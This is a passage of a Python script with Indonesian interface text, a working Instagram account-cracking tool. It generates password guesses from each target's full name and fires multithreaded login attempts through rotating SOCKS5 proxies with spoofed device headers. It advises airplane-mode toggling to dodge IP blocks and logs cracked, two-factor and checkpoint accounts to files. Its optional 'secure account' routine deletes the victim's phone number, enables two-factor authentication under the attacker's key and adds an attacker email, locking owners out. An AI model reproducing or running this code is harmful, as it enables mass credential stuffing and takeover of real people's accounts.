  391.             for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
  392.                 try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
  393.                 except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
  394.                
  395.         elif result in ('3','03'):
  396.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  397.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
  398.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)  
  399.            
  400.     def Methode(self):
  401.         try:
  402.             self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Api) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  403.             self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Url Ajax) [bold green]<[bold yellow]<[bold red]<',width = 32, style='bold grey50'))
  404.             Console().print(Columns(self.Meterans))
  405.             Kntl = Console().input("[bold grey50]   ╰─> ")
  406.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Data Akun OK (y/t)", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Secure Akun) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  407.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  408.             if Secure_Akun =='y' or Secure_Akun =='ya':
  409.                 self.amankan_akun.append('ya')
  410.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Meggunakan User Agent Manual Untuk Melakukan Crack Akun! (y/t)", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (User-Agent) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  411.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  412.             if Ua_Akun =='y' or Ua_Akun =='ya':
  413.                 self.uaman.append('ya')
  414.                 Mugu = Console().input("[bold grey50]   ╰─> User - Agent : ")
  415.                 self.uaku.append(Mugu)
  416.             self.Exec_Methode(Kntl)
  417.         except (Exception) as e:
  418.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  419.             exit()                
  420.        
  421.     def Simpan_Result(self):
  422.         self.waktu = datetime.datetime.now()
  423.         self.bulan = ['Januari', 'Februari', 'Maret', 'April',  'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
  424.         return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
  425.        
  426.     def Password(self, fullname):
  427.         self.one = []
  428.         for nama in fullname.split(' '):
  429.             nama = nama.lower()
  430.             if len(nama) <3: continue
  431.             elif len(nama) == 3 or len(nama) == 4 or len(nama) == 5: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
  432.             else: self.one.append(fullname.lower()); self.one.append(fullname.replace(' ','')); self.one.append(nama+'123'); self.one.append(nama+'1234'); self.one.append(nama+'12345')
  433.             return(self.one)
  434.        
  435.     def Exec_Methode(self, Kntl):
  436.         self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
  437.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result OK Tersimpan Di Folder : [bold green]/sdcard/OK/{self.result_ok}\n[bold red]•[bold white] Result 2F Tersimpan Di Folder : [bold red]/sdcard/2F/{self.result_two}\n[bold green]•[bold white] Result CP Tersimpan Di Folder : [bold yellow]/sdcard/CP/{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Result Instagram) [bold green]<[bold yellow]<[bold red]<"))
  438.         Console(width = 65).print(Panel('[italic white]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Warning Spam) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  439.         with ThreadPoolExecutor(max_workers=30) as V:
  440.             for Username_And_Fullname in dump:
  441.                 username, fullname = Username_And_Fullname.split('<=>')
  442.                 password = self.Password(fullname)
  443.                 if Kntl in ('1'): V.submit(self.ExecApi, username,password)
  444.                 elif Kntl in ('2'): V.submit(self.ExecApi_Threads, username,password)
  445.                 elif Kntl in ('3'): V.submit(self.ExecAjax, username,password)
  446.                 elif Kntl in ('4'): V.submit(self.ExecAjax_Threads, username,password)
  447.                 else: V.submit(self.ExecApi, username,password)
  448.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil OK, [bold yellow]{self.chekpoint}[bold white] Hasil Checkpoint Dan [bold red]{self.faktor}[bold white] Hasil Two Faktor, Dari {len(dump)} Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Selesai) [bold green]<[bold yellow]<[bold red]<"))
  449.         exit()
  450.        
  451.     def ExecApi(self, username, password):
  452.         byps = requests.Session()
  453.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] 2f:-[bold red]{self.faktor}[bold white]     ", end='\r')
  454.         ua_generate = Useragent().useragent_api()
  455.         for passwd in password:
  456.             try:
  457.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  458.                 else: ua_generate
  459.                 hash = hashlib.md5()
  460.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  461.                 hex_ = hash.hexdigest()
  462.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  463.                 curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments": "ig_android_account_switching,ig_android_upsell_fullname,ig_android_one_click_in_old_flow,ig_android_landing_page_fb_button,ig_fbns_push,ig_android_split_username_reg,ig_android_separate_avatar_upload,ig_android_contact_point_triage,ig_fbns_blocked,ig_android_re_enable_login_button,ig_android_phone_tab_on_left"})),'ig_sig_key_version': '4'}, allow_redirects=True)
  464.                 headers = {
  465.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  466.                     'x-ig-app-locale': 'in_ID',
  467.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  468.                     'x-ig-device-locale': 'in_ID',
  469.                     'x-ig-mapped-locale': 'id_ID',
  470.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  471.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  472.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  473.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  474.                     'x-ig-timezone-offset': str(-time.timezone),
  475.                     'x-ig-connection-type': 'MOBILE(LTE)',
  476.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  477.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  478.                     'x-ig-app-id': '567067343352427',
  479.                     'priority': 'u=3',
  480.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  481.                     'user-agent': ua_generate,
  482.                     'accept-language': 'id-ID, en-US',
  483.                     'x-bloks-is-layout-rtl': 'false',
  484.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  485.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  486.                     'Host': 'api.instagram.com',
  487.                     'x-fb-http-engine': 'Liger',
  488.                     'x-fb-client-ip': 'True',
  489.                     'x-fb-server-cluster': 'True',
  490.                     'x-fb-connection-type': 'MOBILE.LTE',
  491.                     'connection': 'keep-alive',
  492.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  493.                 }
  494.                 payload = json.dumps({
  495.                     'username':username,
  496.                     'phone_id': str(uuid.uuid4()),
  497.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  498.                     'guid': str(uuid.uuid4()),
  499.                     'device_id': f'android-{hash.hexdigest()[:16]}',
  500.                     'login_attempt_count': '0',
  501.                     'enc_password':Requre().enc_password(passwd)
  502.                     }
  503.                 )
  504.                 encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  505.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  506.                 response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  507.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  508.                 if 'logged_in_user' in str(response):
  509.                     self.success+=1
  510.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  511.                     except (Exception) as e: cookie = (None)
  512.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  513.                     except (UnboundLocalError) as e: pass
  514.                     if 'ya' in self.amankan_akun:
  515.                         try:
  516.                             num = Require().DeltPhone(cookie)
  517.                             statp, pone = num['Dihapus'], num['Number']
  518.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  519.                             two = Require().Aktifkan2F(cookie)
  520.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  521.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  522.                             Temp = Require().AddMail(cookie)
  523.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  524.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  525.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  526.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  527.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  528.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  529.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = 'Deleted Nomor', style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = 'Add Email', style = "bold grey50", width=30)]))
  530.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = 'Web Email', width=61))
  531.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = 'Two Faktor', style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = 'Screet Key', style = "bold grey50", width=30)]))
  532.                             truu.add(Panel(f"[bold green]{kode}", title = 'Kode Pemulihan', style = "bold grey50", width=61))
  533.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  534.                             printz(tree)
  535.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  536.                         except Exception as e:
  537.                             print(e)
  538.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  539.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  540.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  541.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  542.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  543.                             printz(tree)
  544.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  545.                     else:
  546.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  547.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  548.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  549.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  550.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  551.                         printz(tree)
  552.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  553.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  554.                         wr.write(save)
  555.                         wr.close()
  556.                     break      
  557.                 elif 'two_factor_required' in str(response):
  558.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  559.                     except (UnboundLocalError) as e: pass
  560.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  561.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  562.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  563.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  564.                     printz(tree)
  565.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  566.                     self.faktor+=1
  567.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  568.                         wr.write(save)
  569.                         wr.close()  
  570.                     break
  571.                 elif 'challenge_required' in str(response):
  572.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  573.                     except (UnboundLocalError) as e: pass
  574.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  575.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  576.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  577.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  578.                     printz(tree)
  579.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  580.                     self.chekpoint+=1
  581.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  582.                         wr.write(save)
  583.                         wr.close()
  584.                     break    
  585.                 elif 'ip_block' in str(response):
  586.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  587.                     time.sleep(3.5)    
  588.                 else: continue  
  589.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
  590.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  591.                 time.sleep(31)
  592.                 self.ExecApi(username, password)
  593.         self.looping+=1
  594.        
  595.     def ExecApi_Threads(self, username, password):
  596.         byps = requests.Session()
  597.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold white]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold white]{str(len(dump))}[bold grey50]/[bold white]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] 2f:-[bold red]{self.faktor}[bold white]     ", end='\r')
  598.         ua_generate = Useragent().useragent_api()
  599.         for passwd in password:
  600.             try:
  601.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  602.                 else: ua_generate
  603.                 hash = hashlib.md5()
  604.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  605.                 hex_ = hash.hexdigest()
  606.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  607.                 headers = {
  608.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  609.                     'x-ig-app-locale': 'in_ID',
  610.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  611.                     'x-ig-device-locale': 'in_ID',
  612.                     'x-ig-mapped-locale': 'id_ID',
  613.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  614.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  615.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  616.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  617.                     'x-ig-timezone-offset': str(-time.timezone),
  618.                     'x-ig-connection-type': 'MOBILE(LTE)',
  619.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  620.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  621.                     'x-ig-app-id': '567067343352427',
  622.                     'priority': 'u=3',
  623.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  624.                     'user-agent': ua_generate,
  625.                     'accept-language': 'id-ID, en-US',
  626.                     'x-bloks-is-layout-rtl': 'false',
  627.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  628.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  629.                     'Host': 'i.instagram.com',
  630.                     'x-fb-http-engine': 'Liger',
  631.                     'x-fb-client-ip': 'True',
  632.                     'x-fb-server-cluster': 'True',
  633.                     'x-fb-connection-type': 'MOBILE.LTE',
  634.                     'connection': 'keep-alive',
  635.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  636.                 }
  637.                 encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=5f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73')
  638.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  639.                 response = byps.post('https://i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  640.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  641.                 if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
  642.                     self.success+=1
  643.                     try: cookie = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
  644.                     except (Exception) as e: cookie = (None)
  645.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  646.                     except (UnboundLocalError) as e: pass
  647.                     if 'ya' in self.amankan_akun:
  648.                         try:
  649.                             num = Require().DeltPhone(cookie)
  650.                             statp, pone = num['Dihapus'], num['Number']
  651.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  652.                             two = Require().Aktifkan2F(cookie)
  653.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  654.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  655.                             Temp = Require().AddMail(cookie)
  656.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  657.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  658.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  659.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  660.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  661.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  662.                             truu.add(Columns([Panel(f"[bold green]{deleted}", title = 'Deleted Nomor', style = "bold grey50", width=30), Panel(f"[bold green]{email} {statd}", title = 'Add Email', style = "bold grey50", width=30)]))
  663.                             truu.add(Panel(f"[bold green]{inbx}", style = "bold grey50", title = 'Web Email', width=61))
  664.                             truu.add(Columns([Panel(f"[bold green]{stat2fa}", title = 'Two Faktor', style = "bold grey50", width=30), Panel(f"[bold green]{key}", title = 'Screet Key', style = "bold grey50", width=30)]))
  665.                             truu.add(Panel(f"[bold green]{kode}", title = 'Kode Pemulihan', style = "bold grey50", width=61))
  666.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61)).add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  667.                             printz(tree)
  668.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  669.                         except Exception as e:
  670.                             print(e)
  671.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  672.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  673.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  674.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  675.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  676.                             printz(tree)
  677.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  678.                     else:
  679.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  680.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  681.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  682.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  683.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  684.                         printz(tree)
  685.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  686.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  687.                         wr.write(save)
  688.                         wr.close()
  689.                     break      
  690.                 elif 'two_factor_required' in str(response):
  691.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  692.                     except (UnboundLocalError) as e: pass
  693.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  694.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  695.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  696.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  697.                     printz(tree)
  698.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  699.                     self.faktor+=1
  700.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  701.                         wr.write(save)
  702.                         wr.close()  
  703.                     break
  704.                 elif 'challenge_required' in str(response):
  705.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  706.                     except (UnboundLocalError) as e: pass
  707.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  708.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  709.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  710.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  711.                     printz(tree)
  712.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  713.                     self.chekpoint+=1
  714.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  715.                         wr.write(save)
  716.                         wr.close()
  717.                     break    
  718.                 elif 'ip_block' in str(response):
  719.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  720.                     time.sleep(3.5)    
  721.                 else: continue    
  722.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  723.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  724.                 time.sleep(31)
  725.                 self.ExecApi_Threads(username, password)
  726.         self.looping+=1
  727.            
  728.     def ExecAjax(self, username, password):
  729.         byps = requests.Session()
